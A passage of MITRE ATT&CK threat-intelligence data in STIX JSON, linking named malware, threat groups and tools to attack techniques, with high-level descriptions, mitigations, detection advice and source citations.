endpoints.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb1fb0c8-49f9-463c-b039-68636d507b80","type":"relationship","created":"2020-03-06T21:11:11.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-06T21:11:11.339Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb20fdf4-f214-417a-b785-9c2c6f90722f","type":"relationship","created":"2022-03-28T15:34:44.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-28T15:34:44.696Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb231cc6-fa7f-411f-9ec8-392572474e57","type":"relationship","created":"2020-08-04T19:13:49.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Sodinokibi July 2019","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Secureworks GandCrab and REvil September 2019","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2021-04-06T14:42:52.661Z","description":"[REvil](https://attack.mitre.org/software/S0496) has used HTTP and HTTPS in communication with C2.(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb23e7d5-23d6-4dde-a67f-36e19e8d2250","type":"relationship","created":"2020-11-12T17:12:38.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."},{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}],"modified":"2020-11-13T19:31:02.408Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) has used compromised websites and Google Ads to bait victims into downloading its installer.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: IBM Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb28e9c0-3d03-4f7b-937f-d0398d8dd59b","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for unusual kernel driver installation activity may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb2ba4b6-d96a-4d66-ac13-aa657108b363","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-05-03T16:44:41.815Z","description":"[Sys10](https://attack.mitre.org/software/S0060) collects the local IP address of the victim and sends it to the C2.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--7f8730af-f683-423f-9ee1-5f6875a80481","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb2be1f4-f2fc-4029-8ee6-e89f52210dfd","type":"relationship","created":"2021-03-04T19:51:08.302Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}],"modified":"2021-03-04T19:51:08.302Z","description":"[Machete](https://attack.mitre.org/groups/G0095) has distributed [Machete](https://attack.mitre.org/software/S0409) through a fake blog website.(Citation: Securelist Machete Aug 2014)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb2d9a64-c36c-4998-9d31-5ad25629d288","created":"2024-10-02T12:19:34.821Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-02T12:19:34.821Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) used malicious links to adversary-controlled resources for credential harvesting.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb30a4b2-90e2-4b29-87f8-f01654b487be","created":"2024-10-07T22:51:00.782Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T22:51:00.782Z","description":"Train users to recognize and handle suspicious email attachments. Emphasize the importance of caution when opening attachments from unknown or unexpected sources, even if they appear legitimate. Implement email warning banners to alert users about emails originating from outside the organization or containing attachments, reinforcing awareness and helping users identify potential spearphishing attempts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb371ea5-33c4-42e7-bcb0-3374240da553","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"}],"modified":"2020-01-17T19:33:18.062Z","description":"[Calisto](https://attack.mitre.org/software/S0274) uses launchctl to enable screen sharing on the victim’s machine.(Citation: Securelist Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb39cbf2-a9dc-4c31-9fb9-b6c456c2005c","type":"relationship","created":"2019-01-29T18:17:59.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}],"modified":"2019-04-19T15:08:15.899Z","description":"[PlugX](https://attack.mitre.org/software/S0013) allows the operator to capture screenshots.(Citation: CIRCL PlugX March 2013)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb3bc4fe-6695-454e-9215-7b754c5d33f7","created":"2024-08-26T18:21:26.887Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:21:26.887Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) retrieved credentials from LSASS memory.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb3c2843-b51f-4cfd-8189-0312337b8eb3","created":"2023-09-28T13:37:04.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:36:40.256Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can retrieve secrets from the AWS Secrets Manager via the enum_secrets module.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb402b5a-2ee4-4031-93a5-dae262794974","type":"relationship","created":"2019-07-19T14:35:44.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}],"modified":"2022-03-25T19:28:00.447Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n","relationship_type":"mitigates","source_ref":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","target_ref":"attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb4592cf-4e26-4999-bb6d-5120e0695bfa","type":"relationship","created":"2022-02-25T20:50:26.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft FTP","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp","description":"Microsoft. (2021, July 21). ftp. Retrieved February 25, 2022."},{"source_name":"Linux FTP","url":"https://linux.die.net/man/1/ftp","description":"N/A. (n.d.). ftp(1) - Linux man page. Retrieved February 25, 2022."}],"modified":"2022-02-25T20:50:26.321Z","description":"[ftp](https://attack.mitre.org/software/S0095) may be abused by adversaries to transfer tools or files from an external system into a compromised environment.(Citation: Microsoft FTP)(Citation: Linux FTP)","relationship_type":"uses","source_ref":"tool--cf23bf4a-e003-4116-bbae-1ea6c558d565","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb499e95-45c2-474b-a914-5b7f0604863a","created":"2024-05-15T19:54:26.924Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T19:54:26.924Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has conducted extensive reconnaissance of victim networks including identifying network topologies.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb4f1b15-8382-44f9-b201-6726e83b79b0","type":"relationship","created":"2019-09-03T18:31:09.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LOLBAS Esentutl","url":"https://lolbas-project.github.io/lolbas/Binaries/Esentutl/","description":"LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019."}],"modified":"2021-09-14T16:17:20.000Z","description":"[esentutl](https://attack.mitre.org/software/S0404) can be used to copy files from a given URL.(Citation: LOLBAS Esentutl)","relationship_type":"uses","source_ref":"tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb52c6a4-4602-4284-8128-cdf296e9a620","created":"2022-09-22T18:35:55.472Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T18:35:55.472Z","description":"For [C0011](https://attack.mitre.org/campaigns/C0011), [Transparent Tribe](https://attack.mitre.org/groups/G0134) registered domains likely designed to appear relevant to student targets in India.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb5486b6-f5b3-4a4c-9b88-d676011a4906","created":"2023-09-05T18:02:08.403Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.644Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to delete created WMI objects to evade detections.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bb54d492-228c-4bfe-8e50-9a919067e976","created":"2022-06-09T19:25:00.097Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has enumerated running processes on a compromised host to determine if it is running under the process name `dfrgui.exe`.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T19:25:00.097Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb59d6b5-a6a8-4071-b0a7-297593fc078b","created":"2024-03-28T16:17:34.654Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T16:17:34.654Z","description":"Manage the creation, modification, use, and permissions associated to user accounts.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb60e296-c3d9-4363-992d-90f61607553a","created":"2024-08-08T18:48:33.378Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-08T18:48:33.378Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) can identify removable drives attached to the victim's machine.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb611cd0-6646-4090-82ea-96ca4440afb7","type":"relationship","created":"2020-12-18T16:33:13.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-18T16:33:13.341Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--22522668-ddf6-470b-a027-9d6866679f67","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb671992-02f2-430d-9d33-f43fae135735","type":"relationship","created":"2021-06-18T15:26:55.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-06-18T15:26:55.705Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) itself is obfuscated and uses obfuscated API calls.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb6922c7-0f33-426a-b06d-4faf90d42eae","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Ensure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb6be5dd-602d-4625-859a-eb6c5bddc29c","type":"relationship","created":"2021-09-09T14:15:55.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-06T19:55:20.707Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) can copy specific files, webcam captures, and screenshots to local directories.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bb6edf0f-f2c3-4f6d-b545-f79a57423cd2","created":"2024-09-17T14:40:58.242Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T14:40:58.242Z","description":"Train users to be suspicious about access points marked as “Open” or “Unsecure” as well as certificate errors. Certificate errors may arise when the application’s certificate does not match the one expected by the host.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--48b836c6-e4ca-435a-82a3-29c03e5b492e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb6f2e41-2f67-49e7-ade1-490abeb9274a","type":"relationship","created":"2021-04-23T01:04:57.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-23T01:04:57.259Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb72c8e4-4d1b-47c6-ad2d-a345826b5645","type":"relationship","created":"2020-11-08T23:40:19.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 